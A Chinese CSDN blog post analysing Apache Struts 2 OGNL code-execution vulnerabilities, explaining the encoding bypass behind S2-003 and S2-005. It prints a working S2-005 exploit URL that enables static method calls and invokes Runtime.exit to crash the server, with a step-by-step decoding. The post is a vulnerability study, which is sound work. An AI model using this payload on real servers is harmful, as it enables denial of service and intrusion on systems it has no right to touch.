Struts漏洞分析与研究

本文详细分析了Apache Struts框架中多个版本存在的代码执行漏洞,包括S2-003、S2-005、S2-007、S2-008、S2-009等,解释了漏洞产生的原因和攻击者如何利用这些漏洞执行恶意代码。通过Payload示例,展示了如何绕过安全配置,执行静态方法和系统命令。
摘要由CSDN通过智能技术生成

1. Apache官方公告

http://struts.apache.org/development/2.x/docs/security-bulletins.html

其中涉及代码执行的漏洞有:S2-003,S2-005,S2-007,S2-008,S2-009,S2-012~S2-016,S2-20~21下面逐一简要说明。

2. 各版本漏洞分析

S2-003

受影响版本:Struts 2.0.0 - Struts 2.0.11.2
概述
struts2会将http的每个参数名解析为ongl语句执行(可理解为java代码)。ongl表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制。

S2-005

受影响版本:Struts2.0.0 - Struts 2.1.8.1
概述
对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,安全配置被绕过再次导致了漏洞。

Payload详解

http://www.xxxx.com/aaa.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
提交上述URL,就会导致服务器down掉。把编码转换过来为下面三个步骤:

1) ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true

将_memberAccess变量中的allowStaticMethod设置为true,这里payload还要加括号,并且还带个"(meh)"呢?其实是为了遵守Ognl语法树的规则,这个后面再说。第一步完成后,就可以执行静态方法了。

2) &(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))
将上下文中的 xwork.MethodAccessor.denyMethodExecution 设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类,也存在与Ognl的上下文中。同样遵守Ognl语法树规则。
3) & (asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtim e@getRuntime()))=1
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值